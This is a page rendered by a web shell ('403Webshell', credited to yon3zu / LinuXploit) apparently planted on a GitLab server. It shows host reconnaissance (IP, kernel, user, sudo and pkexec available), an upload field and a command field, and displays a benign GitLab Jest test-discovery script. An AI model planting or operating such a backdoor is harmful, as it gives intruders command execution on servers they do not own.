403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/frontend/find_jest_predictive_tests.js
#!/usr/bin/env node

/**
 * Unlike rspec tests, we don't have a crystalball mapping file to calculate predicted tests, instead we need to find them using the dependency graph generated at runtime.
 *
 * So, we use helper functions in this module to list the frontend predictive tests (Jest) that are ran in tier-1, based on these criteria
 * 1. Changed files (changed_files.txt)
 * 2. Vue version predictive tests -- this doesn't affect test discovery, only test execution, so, we'lll get the list using Vue2
 *  2b. Vue 2 (includes all tests)
 *  2a. Vue 3 (some vue3 tests are quarantined)
 * 3. Backend changes (`js_matching_files.txt`)
 *  3a. Fixtures
 *  3b. Views
 * 4. Jest integration tests (uses --config `jest.config.integration.js`)
 *
 * CI rule match these file patterns
 * .frontend-predictive-patterns:
 * '{,ee/,jh/}{app/assets/javascripts,spec/frontend}/**'
 *
 * Command usage:
 * Run
 * ```sh
 * # set env variables and then run the following
 * ./scripts/frontend/find_jest_predictive_tests.js
 * ```
 */
const { spawnSync } = require('node:child_process');
const { readFileSync, writeFileSync, mkdirSync } = require('node:fs');
const { relative, dirname } = require('node:path');

const requiredEnv = [
  'JEST_MATCHING_TEST_FILES_PATH',
  'GLCI_PREDICTIVE_MATCHING_JS_FILES_PATH',
  'GLCI_PREDICTIVE_CHANGED_FILES_PATH',
];

function hasRequiredEnvironmentVariables() {
  const missing = requiredEnv.filter((envVar) => !process.env[envVar]);

  if (missing.length > 0) {
    console.warn(`Warning: Missing required environment variables: ${missing.join(', ')}`);
    console.warn('Some functionality may not work as expected.');
    process.exitCode = 1;
  }
}

function getChangedFiles() {
  const files = [];
  const { GLCI_PREDICTIVE_MATCHING_JS_FILES_PATH, GLCI_PREDICTIVE_CHANGED_FILES_PATH } =
    process.env;

  for (const [name, filePath] of Object.entries({
    GLCI_PREDICTIVE_CHANGED_FILES_PATH,
    GLCI_PREDICTIVE_MATCHING_JS_FILES_PATH,
  })) {
    try {
      const contents = readFileSync(filePath, { encoding: 'UTF-8' });
      files.push(...contents.split(/\s+/).filter(Boolean));
    } catch (error) {
      console.warn(
        `Failed to read from path ${filePath} given by environment variable ${name}`,
        error,
      );
    }
  }

  return Array.from(new Set(files));
}

function findJestTests(config, changedFiles) {
  const args = ['--ci', '--config', config, '--listTests'];

  if (changedFiles) {
    if (!changedFiles.length) return [];

    args.push('--findRelatedTests');
    args.push(...changedFiles);
  }
  try {
    const childProcess = spawnSync('node_modules/.bin/jest', args, {
      encoding: 'utf8',
      stdio: 'pipe',
      env: process.env,
    });

    if (childProcess.error) {
      throw new Error(`Failed to spawn Jest: ${childProcess.error.message}`);
    }

    if (childProcess.status !== 0) {
      const errorOutput = childProcess.stderr || 'No error output captured';
      throw new Error(`Jest exited with code ${childProcess.status}: ${errorOutput}`);
    }

    if (!childProcess.stdout) {
      console.warn('No output from Jest.');
      return [];
    }
    return childProcess.stdout
      .split('\n')
      .map((line) => line.trim())
      .filter((line) => line.endsWith('.js'))
      .map((test) => relative(process.cwd(), test));
  } catch (error) {
    throw new Error(`Failed to run Jest with config ${config}: ${error.message}`);
  }
}

function collectTests(changedFiles) {
  if (changedFiles && !changedFiles.length) {
    console.log('No changed files found - no tests to run');
    return [];
  }
  console.log(`Analyzing ${changedFiles.length} changed files...`);

  const configs = [
    { name: 'unit', configPath: 'jest.config.js' },
    { name: 'integration', configPath: 'jest.config.integration.js' },
  ];

  const allTests = [];

  for (const { name, configPath } of configs) {
    try {
      console.log(`Checking ${name} tests...`);
      const tests = findJestTests(configPath, changedFiles);
      allTests.push(...tests);
    } catch (error) {
      console.error(`Error with ${name} tests config:\n`, error);
    }
  }

  return Array.from(new Set(allTests)).sort();
}

function saveMatchingTestFiles(testFiles) {
  const { JEST_MATCHING_TEST_FILES_PATH } = process.env;
  if (JEST_MATCHING_TEST_FILES_PATH) {
    mkdirSync(dirname(JEST_MATCHING_TEST_FILES_PATH), { recursive: true });
    writeFileSync(JEST_MATCHING_TEST_FILES_PATH, testFiles.join(' '));
    console.log(`Saved to: ${JEST_MATCHING_TEST_FILES_PATH}`);
  }
}

function logAndSaveMatchingTestFiles(changedFiles) {
  const matchingTestFiles = collectTests(changedFiles);
  console.log(`\nFound ${matchingTestFiles.length} predictive test files`);

  console.log('\n=== TEST FILES ===');
  console.log(matchingTestFiles.join('\n'));

  saveMatchingTestFiles(matchingTestFiles);
}

function listPredictiveTests() {
  try {
    hasRequiredEnvironmentVariables();

    logAndSaveMatchingTestFiles(getChangedFiles());
  } catch (error) {
    console.error('Error finding predictive jest tests:', error);
    process.exitCode = 1;
  }
}

if (require.main === module) {
  listPredictiveTests();
} else {
  module.exports = {
    hasRequiredEnvironmentVariables,
    getChangedFiles,
    findJestTests,
    collectTests,
    logAndSaveMatchingTestFiles,
  };
}

Youez - 2016 - github.com/yon3zu
LinuXploit